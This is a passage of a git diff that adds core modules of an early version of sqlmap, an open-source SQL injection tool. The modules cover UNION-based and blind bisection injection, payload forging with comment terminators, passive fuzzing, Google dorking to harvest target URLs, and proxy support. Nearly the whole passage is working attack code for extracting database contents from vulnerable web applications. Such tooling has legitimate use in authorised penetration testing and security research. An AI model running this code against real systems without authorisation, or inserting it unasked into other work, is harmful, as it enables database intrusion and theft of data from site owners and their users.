cleanQuery(expression) + expression = expandAsteriskForColumns(expression) + value = None + + if inband and conf.unionUse and kb.dbms: + value = __goInband(expression) + + if blind and not value: + value = __goInferenceProxy(expression, fromUser) + + return value diff --git a/lib/request/proxy.py b/lib/request/proxy.py new file mode 100644 index 000000000..1db4844f3 --- /dev/null +++ b/lib/request/proxy.py @@ -0,0 +1,128 @@ +#!/usr/bin/env python + +""" +$Id: proxy.py 322 2008-08-27 00:21:22Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import httplib +import socket +import urllib +import urllib2 + + +class ProxyHTTPConnection(httplib.HTTPConnection): + _ports = {"http" : 80, "https" : 443} + + def request(self, method, url, body=None, headers={}): + # Request is called before connect, so can interpret url and get + # real host/port to be used to make CONNECT request to proxy + proto, rest = urllib.splittype(url) + + if proto is None: + raise ValueError, "unknown URL type: %s" % url + + # Get host + host, rest = urllib.splithost(rest) + + # Try to get port + host, port = urllib.splitport(host) + + # If port is not defined try to get from proto + if port is None: + try: + port = self._ports[proto] + except KeyError: + raise ValueError, "unknown protocol for: %s" % url + + self._real_host = host + self._real_port = int(port) + + httplib.HTTPConnection.request(self, method, url, body, headers) + + + def connect(self): + httplib.HTTPConnection.connect(self) + + # Send proxy CONNECT request + self.send("CONNECT %s:%d HTTP/1.0\r\n\r\n" % (self._real_host, self._real_port)) + + # Expect a HTTP/1.0 200 Connection established + response = self.response_class(self.sock, strict=self.strict, method=self._method) + (version, code, message) = response._read_status() + + # Probably here we can handle auth requests... + if code != 200: + # Proxy returned and error, abort connection, and raise exception + self.close() + + raise socket.error, "Proxy connection failed: %d %s" % (code, message.strip()) + + # Eat up header block from proxy + while True: + # Should not use directly fp probably + line = response.fp.readline() + + if line == "\r\n": + break + + +class ProxyHTTPSConnection(ProxyHTTPConnection): + default_port = 443 + + def __init__(self, host, port=None, key_file=None, cert_file=None, strict=None): + ProxyHTTPConnection.__init__(self, host, port) + self.key_file = key_file + self.cert_file = cert_file + + def connect(self): + ProxyHTTPConnection.connect(self) + + # Make the sock ssl-aware + ssl = socket.ssl(self.sock, self.key_file, self.cert_file) + self.sock = httplib.FakeSocket(self.sock, ssl) + + +class ProxyHTTPHandler(urllib2.HTTPHandler): + def __init__(self, proxy=None, debuglevel=0): + self.proxy = proxy + + urllib2.HTTPHandler.__init__(self, debuglevel) + + def do_open(self, http_class, req): + if self.proxy is not None: + req.set_proxy(self.proxy, "http") + + return urllib2.HTTPHandler.do_open(self, ProxyHTTPConnection, req) + + +class ProxyHTTPSHandler(urllib2.HTTPSHandler): + def __init__(self, proxy=None, debuglevel=0): + self.proxy = proxy + + urllib2.HTTPSHandler.__init__(self, debuglevel) + + def do_open(self, http_class, req): + if self.proxy is not None: + req.set_proxy(self.proxy, "https") + + return urllib2.HTTPSHandler.do_open(self, ProxyHTTPSConnection, req) diff --git a/lib/techniques/__init__.py b/lib/techniques/__init__.py new file mode 100644 index 000000000..e8fee9d67 --- /dev/null +++ b/lib/techniques/__init__.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +pass diff --git a/lib/techniques/inband/__init__.py b/lib/techniques/inband/__init__.py new file mode 100644 index 000000000..e8fee9d67 --- /dev/null +++ b/lib/techniques/inband/__init__.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +pass diff --git a/lib/techniques/inband/union/__init__.py b/lib/techniques/inband/union/__init__.py new file mode 100644 index 000000000..e8fee9d67 --- /dev/null +++ b/lib/techniques/inband/union/__init__.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +pass diff --git a/lib/techniques/inband/union/test.py b/lib/techniques/inband/union/test.py new file mode 100644 index 000000000..a1635ff04 --- /dev/null +++ b/lib/techniques/inband/union/test.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python + +""" +$Id: test.py 293 2008-07-28 21:56:52Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from lib.core.agent import agent +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.session import setUnion +from lib.request.connect import Connect as Request + + +def __effectiveUnionTest(query, comment): + """ + This method tests if the target url is affected by an inband + SQL injection vulnerability. The test is done up to 50 columns + on the target database table + """ + + resultDict = {} + + for count in range(0, 50): + if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"): + query = query[:-len(" FROM DUAL")] + + if count: + query += ", NULL" + + if kb.dbms == "Oracle": + query += " FROM DUAL" + + commentedQuery = agent.postfixQuery(query, comment) + payload = agent.payload(newValue=commentedQuery) + newResult = Request.queryPage(payload) + + if not newResult in resultDict.keys(): + resultDict[newResult] = (1, commentedQuery) + else: + resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery) + + if count: + for element in resultDict.values(): + if element[0] == 1: + if kb.injPlace == "GET": + value = "%s?%s" % (conf.url, payload) + elif kb.injPlace == "POST": + value = "URL:\t'%s'" % conf.url + value += "\nPOST:\t'%s'\n" % payload + elif kb.injPlace == "Cookie": + value = "URL:\t'%s'" % conf.url + value += "\nCookie:\t'%s'\n" % payload + elif kb.injPlace == "User-Agent": + value = "URL:\t\t'%s'" % conf.url + value += "\nUser-Agent:\t'%s'\n" % payload + + return value + + return None + + +def unionTest(): + """ + This method tests if the target url is affected by an inband + SQL injection vulnerability. The test is done up to 3*50 times + """ + + logMsg = "testing inband sql injection on parameter " + logMsg += "'%s'" % kb.injParameter + logger.info(logMsg) + + value = "" + + query = agent.prefixQuery("UNION ALL SELECT NULL") + + for comment in ("--", "#", "/*", ";", "%00"): + value = __effectiveUnionTest(query, comment) + + if value: + setUnion(comment, value.count("NULL")) + + break + + if kb.unionCount: + logMsg = "the target url could be affected by an " + logMsg += "inband sql injection vulnerability" + logger.info(logMsg) + else: + warnMsg = "the target url is not affected by an " + warnMsg += "inband sql injection vulnerability" + logger.warn(warnMsg) + + return value diff --git a/lib/techniques/inband/union/use.py b/lib/techniques/inband/union/use.py new file mode 100644 index 000000000..e1c8514a7 --- /dev/null +++ b/lib/techniques/inband/union/use.py @@ -0,0 +1,154 @@ +#!/usr/bin/env python + +""" +$Id: use.py 293 2008-07-28 21:56:52Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import time + +from lib.core.agent import agent +from lib.core.common import randomStr +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import paths +from lib.core.data import temp +from lib.core.exception import sqlmapUnsupportedDBMSException +from lib.core.session import setUnion +from lib.core.unescaper import unescaper +from lib.parse.html import htmlParser +from lib.request.connect import Connect as Request +from lib.techniques.inband.union.test import unionTest + + +def __unionPosition(count, expression): + logMsg = "confirming inband sql injection on parameter " + logMsg += "'%s'" % kb.injParameter + logger.info(logMsg) + + # For each column of the table (# of NULL) perform a request using + # the UNION ALL SELECT statement to test it the target url is + # affected by an exploitable inband SQL injection vulnerability + for exprPosition in range(0, kb.unionCount): + # Prepare expression with delimiters + randQuery = randomStr() + randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) + randQueryUnescaped = unescaper.unescape(randQueryProcessed) + + if len(randQueryUnescaped) > len(expression): + blankCount = len(randQueryUnescaped) - len(expression) + expression = (" " * blankCount) + expression + elif len(randQueryUnescaped) < len(expression): + blankCount = len(expression) - len(randQueryUnescaped) + randQueryUnescaped = (" " * blankCount) + randQueryUnescaped + + # Forge the inband SQL injection request + query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition) + payload = agent.payload(newValue=query) + + # Perform the request + resultPage = Request.queryPage(payload, content=True) + count += 1 + + # We have to assure that the randQuery value is not within the + # HTML code of the result page because, for instance, it is there + # when the query is wrong and the back-end DBMS is Microsoft SQL + # server + htmlParsed = htmlParser(resultPage, paths.ERRORS_XML) + + if randQuery in resultPage and not htmlParsed: + setUnion(position=exprPosition) + + break + + if isinstance(kb.unionPosition, int): + logMsg = "the target url is affected by an exploitable " + logMsg += "inband sql injection vulnerability" + logger.info(logMsg) + else: + warnMsg = "the target url is not affected by an exploitable " + warnMsg += "inband sql injection vulnerability, sqlmap will " + warnMsg += "retrieve the expression output through blind sql " + warnMsg += "injection technique" + logger.warn(warnMsg) + + return count + + +def unionUse(expression): + """ + This function tests for an inband SQL injection on the target + url then call its subsidiary function to effectively perform an + inband SQL injection on the affected url + """ + + count = 0 + origExpr = expression + start = time.time() + + if not kb.unionCount: + unionTest() + + if not kb.unionCount: + return + + # Prepare expression with delimiters + expression = agent.concatQuery(expression) + expression = unescaper.unescape(expression) + + # Confirm the inband SQL injection and get the exact column + # position only once + if not isinstance(kb.unionPosition, int): + count = __unionPosition(count, expression) + + # Assure that the above function found the exploitable inband + # SQL injection position + if not isinstance(kb.unionPosition, int): + return + + # Forge the inband SQL injection request + query = agent.forgeInbandQuery(expression) + payload = agent.payload(newValue=query) + + logMsg = "query: %s" % query + logger.info(logMsg) + + # Perform the request + resultPage = Request.queryPage(payload, content=True) + count += 1 + + if temp.start not in resultPage or temp.stop not in resultPage: + return + + duration = int(time.time() - start) + + logMsg = "performed %d queries in %d seconds" % (count, duration) + logger.info(logMsg) + + # Parse the returned page to get the exact inband + # sql injection output + startPosition = resultPage.index(temp.start) + endPosition = resultPage.rindex(temp.stop) + len(temp.stop) + value = str(resultPage[startPosition:endPosition]) + + return value diff --git a/lib/techniques/inference/__init__.py b/lib/techniques/inference/__init__.py new file mode 100644 index 000000000..e8fee9d67 --- /dev/null +++ b/lib/techniques/inference/__init__.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +pass diff --git a/lib/techniques/inference/blind.py b/lib/techniques/inference/blind.py new file mode 100644 index 000000000..e08d8147e --- /dev/null +++ b/lib/techniques/inference/blind.py @@ -0,0 +1,213 @@ +#!/usr/bin/env python + +""" +$Id: blind.py 355M 2008-10-15 00:00:47Z (local) $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import threading +import time + +from lib.core.agent import agent +from lib.core.common import dataToSessionFile +from lib.core.common import dataToStdout +from lib.core.common import replaceNewlineTabs +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.exception import sqlmapValueException +from lib.core.progress import ProgressBar +from lib.core.unescaper import unescaper +from lib.request.connect import Connect as Request + + +def bisection(payload, expression, length=None): + """ + Bisection algorithm that can be used to perform blind SQL injection + on an affected host + """ + + if kb.dbmsDetected: + _, _, _, fieldToCast = agent.getFields(expression) + nulledCastedField = agent.nullAndCastField(fieldToCast) + expressionReplaced = expression.replace(fieldToCast, nulledCastedField, 1) + expressionUnescaped = unescaper.unescape(expressionReplaced) + else: + expressionUnescaped = unescaper.unescape(expression) + + infoMsg = "query: %s" % expressionUnescaped + logger.info(infoMsg) + + if length and not isinstance(length, int) and length.isdigit(): + length = int(length) + + if length == 0: + return 0, "" + + showEta = conf.eta and length + numThreads = min(conf.threads, length) + threads = [] + + if showEta: + progress = ProgressBar(maxValue=length) + progressTime = [] + + if conf.verbose in ( 1, 2 ) and not showEta: + if isinstance(length, int) and conf.threads > 1: + infoMsg = "starting %d threads" % numThreads + logger.info(infoMsg) + + dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * length)) + dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) + else: + dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X")) + + queriesCount = [0] # As list to deal with nested scoping rules + + + def getChar(idx): + maxValue = 127 + minValue = 0 + + while (maxValue - minValue) != 1: + queriesCount[0] += 1 + limit = ((maxValue + minValue) / 2) + + forgedPayload = payload % (expressionUnescaped, idx, limit) + result = Request.queryPage(forgedPayload) + + if result == kb.defaultResult: + minValue = limit + else: + maxValue = limit + + if (maxValue - minValue) == 1: + if maxValue == 1: + return None + else: + return chr(minValue + 1) + + + def etaProgressUpdate(charTime, index): + if len(progressTime) <= ( (length * 3) / 100 ): + eta = 0 + else: + midTime = sum(progressTime) / len(progressTime) + midTimeWithLatest = (midTime + charTime) / 2 + eta = midTimeWithLatest * (length - index) / conf.threads + + progressTime.append(charTime) + progress.update(index) + progress.draw(eta) + + + if conf.threads > 1 and isinstance(length, int) and length > 1: + value = [None] * length + index = [0] # As list for python nested function scoping + idxlock = threading.Lock() + iolock = threading.Lock() + + + def downloadThread(): + while True: + idxlock.acquire() + + if index[0] >= length: + idxlock.release() + + return + + index[0] += 1 + curidx = index[0] + idxlock.release() + + charStart = time.time() + val = getChar(curidx) + + if val == None: + raise sqlmapValueException, "Failed to get character at index %d (expected %d total)" % (curidx, length) + + value[curidx-1] = val + + if showEta: + etaProgressUpdate(time.time() - charStart, index[0]) + elif conf.verbose in ( 1, 2 ): + s = "".join([c or "_" for c in value]) + iolock.acquire() + dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s)) + iolock.release() + + # Start the threads + for _ in range(numThreads): + thread = threading.Thread(target=downloadThread) + thread.start() + threads.append(thread) + + # And wait for them to all finish + for thread in threads: + thread.join() + + assert None not in value + + value = "".join(value) + + assert index[0] == length + + if conf.sessionFile: + dataToSessionFile(replaceNewlineTabs(value)) + + if conf.verbose in ( 1, 2 ) and not showEta: + dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), value)) + + else: + value = "" + index = 0 + + while True: + index += 1 + charStart = time.time() + val = getChar(index) + + if val == None: + break + + value += val + + if conf.sessionFile: + dataToSessionFile(replaceNewlineTabs(val)) + + if showEta: + etaProgressUpdate(time.time() - charStart, index) + elif conf.verbose in ( 1, 2 ): + dataToStdout(val) + + if conf.verbose in ( 1, 2 ) or showEta: + dataToStdout("\n") + + if ( conf.verbose in ( 1, 2 ) and showEta and len(str(progress)) >= 64 ) or conf.verbose >= 3: + infoMsg = "retrieved: %s" % value + logger.info(infoMsg) + + if conf.sessionFile: + dataToSessionFile("]\n") + + return queriesCount[0], value diff --git a/lib/utils/__init__.py b/lib/utils/__init__.py new file mode 100644 index 000000000..e8fee9d67 --- /dev/null +++ b/lib/utils/__init__.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +pass diff --git a/lib/utils/fuzzer.py b/lib/utils/fuzzer.py new file mode 100644 index 000000000..16c938941 --- /dev/null +++ b/lib/utils/fuzzer.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python + +""" +$Id: fuzzer.py 247 2008-07-19 23:07:26Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from lib.core.agent import agent +from lib.core.data import logger +from lib.core.data import paths +from lib.request.connect import Connect as Request + + +def passiveFuzzing(): + logMsg = "executing passive fuzzing to retrieve DBMS error messages" + logger.info(logMsg) + + fuzzVectors = open(paths.FUZZ_VECTORS, "r") + + for fuzzVector in fuzzVectors: + fuzzVector = fuzzVector.replace("\r", "").replace("\n", "") + + payload = agent.payload(newValue=fuzzVector) + Request.queryPage(payload) diff --git a/lib/utils/google.py b/lib/utils/google.py new file mode 100644 index 000000000..25e6dd5c7 --- /dev/null +++ b/lib/utils/google.py @@ -0,0 +1,122 @@ +#!/usr/bin/env python + +""" +$Id: google.py 330 2008-08-28 21:25:48Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import cookielib +import re +import urllib2 + +from lib.core.convert import urlencode +from lib.core.data import conf +from lib.core.exception import sqlmapConnectionException +from lib.core.exception import sqlmapRegExprException + + +class Google: + """ + This class defines methods used to perform Google dorking (command + line option '-g <google dork>' + """ + + def __init__(self, proxyHandler): + self.__googleCookie = None + self.__matches = [] + self.__cj = cookielib.LWPCookieJar() + self.opener = urllib2.build_opener(proxyHandler, urllib2.HTTPCookieProcessor(self.__cj)) + self.opener.addheaders = conf.httpHeaders + + + def __parsePage(self, page): + """ + Parse Google dork search results page to get the list of + HTTP addresses + """ + + matches = [] + + regExpr = "class=r\076\074a href=\042(http[s]*://.+?)\042\sclass=l" + matches = re.findall(regExpr, page, re.I | re.M) + + return matches + + + def getTargetUrls(self): + """ + This method returns the list of hosts with parameters out of + your Google dork search results + """ + + targetUrls = set() + + for match in self.__matches: + if re.search("(.*?)\?(.+)", match, re.I): + targetUrls.add(match) + + return targetUrls + + + def getCookie(self): + """ + This method is the first to be called when initializing a + Google dorking object through this library. It is used to + retrieve the Google session cookie needed to perform the + further search + """ + + try: + conn = self.opener.open("http://www.google.com/ncr") + headers = conn.info() + except urllib2.HTTPError, e: + headers = e.info() + except urllib2.URLError, e: + errMsg = "unable to connect to Google" + raise sqlmapConnectionException, errMsg + + + def search(self, googleDork): + """ + This method performs the effective search on Google providing + the google dork and the Google session cookie + """ + + if not googleDork: + return None + + url = "http://www.google.com/search?" + url += "q=%s&" % urlencode(googleDork) + url += "num=100&hl=en&safe=off&filter=0&btnG=Search" + + try: + conn = self.opener.open(url) + page = conn.read() + except urllib2.HTTPError, e: + page = e.read() + except urllib2.URLError, e: + errMsg = "unable to connect to Google" + raise sqlmapConnectionException, errMsg + + self.__matches = self.__parsePage(page) + + return self.__matches diff --git a/lib/utils/parenthesis.py b/lib/utils/parenthesis.py new file mode 100644 index 000000000..eae50c7a5 --- /dev/null +++ b/lib/utils/parenthesis.py @@ -0,0 +1,80 @@ +#!/usr/bin/env python + +""" +$Id: parenthesis.py 357 2008-09-21 18:52:16Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from lib.core.agent import agent +from lib.core.common import randomInt +from lib.core.common import randomStr +from lib.core.data import kb +from lib.core.data import logger +from lib.core.exception import sqlmapNoneDataException +from lib.core.session import setParenthesis +from lib.request.connect import Connect as Request + + +def checkForParenthesis(): + """ + This method checks if the SQL injection affected parameter + is within the parenthesis. + """ + + if kb.parenthesis != None: + return kb.parenthesis + + logMsg = "testing for parenthesis on injectable parameter" + logger.info(logMsg) + + count = 0 + + for parenthesis in range(1, 4): + query = agent.prefixQuery("%s " % (")" * parenthesis)) + query += "AND %s" % ("(" * parenthesis) + + randInt = randomInt() + randStr = randomStr() + + if kb.injType == "numeric": + query += "%d=%d" % (randInt, randInt) + elif kb.injType == "stringsingle": + query += "'%s'='%s" % (randStr, randStr) + elif kb.injType == "likesingle": + query += "'%s' LIKE '%s" % (randStr, randStr) + elif kb.injType == "stringdouble": + query += "\"%s\"=\"%s" % (randStr, randStr) + elif kb.injType == "likedouble": + query += "\"%s\" LIKE \"%s" % (randStr, randStr) + else: + raise sqlmapNoneDataException, "unsupported injection type" + + payload = agent.payload(newValue=query) + result = Request.queryPage(payload) + + if result == kb.defaultResult: + count = parenthesis + + logMsg = "the injectable parameter requires %d parenthesis" % count + logger.info(logMsg) + + setParenthesis(count) diff --git a/lib/utils/resume.py b/lib/utils/resume.py new file mode 100644 index 000000000..9b863c84f --- /dev/null +++ b/lib/utils/resume.py @@ -0,0 +1,184 @@ +#!/usr/bin/env python + +""" +$Id: resume.py 294M 2008-10-14 23:49:41Z (local) $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import re + +from lib.core.common import dataToSessionFile +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import queries +from lib.core.unescaper import unescaper +from lib.techniques.inference.blind import bisection + + +def queryOutputLength(expression, payload): + """ + Returns the query output length. + """ + + lengthQuery = queries[kb.dbms].length + + select = re.search("\ASELECT\s+", expression, re.I) + selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I) + selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I) + selectExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I) + miscExpr = re.search("\A(.+)", expression, re.I) + + if selectTopExpr or selectDistinctExpr or selectExpr: + if selectTopExpr: + regExpr = selectTopExpr.groups()[0] + elif selectDistinctExpr: + regExpr = selectDistinctExpr.groups()[0] + elif selectExpr: + regExpr = selectExpr.groups()[0] + elif miscExpr: + regExpr = miscExpr.groups()[0] + + if ( select and re.search("\A(COUNT|LTRIM)\(", regExpr, re.I) ) or len(regExpr) <= 1: + return None, None, None + + if select: + lengthExpr = expression.replace(regExpr, lengthQuery % regExpr, 1) + else: + lengthExpr = lengthQuery % expression + + infoMsg = "retrieving the length of query output" + logger.info(infoMsg) + + output = resume(lengthExpr, payload) + + if output: + return 0, output, regExpr + + dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], lengthExpr)) + + lengthExprUnescaped = unescaper.unescape(lengthExpr) + count, length = bisection(payload, lengthExprUnescaped) + + if length == " ": + length = 0 + + return count, length, regExpr + + +def resume(expression, payload): + """ + This function can be called to resume part or entire output of a + SQL injection query output. + """ + + condition = ( + kb.resumedQueries and conf.url in kb.resumedQueries.keys() + and expression in kb.resumedQueries[conf.url].keys() + ) + + if not condition: + return None + + resumedValue = kb.resumedQueries[conf.url][expression] + + if not resumedValue: + return None + + if resumedValue[-1] == "]": + resumedValue = resumedValue[:-1] + + infoMsg = "read from file '%s': " % conf.sessionFile + logValue = re.findall("__START__(.*?)__STOP__", resumedValue, re.S) + + if logValue: + logValue = ", ".join([value.replace("__DEL__", ", ") for value in logValue]) + else: + logValue = resumedValue + + if "\n" in logValue: + infoMsg += 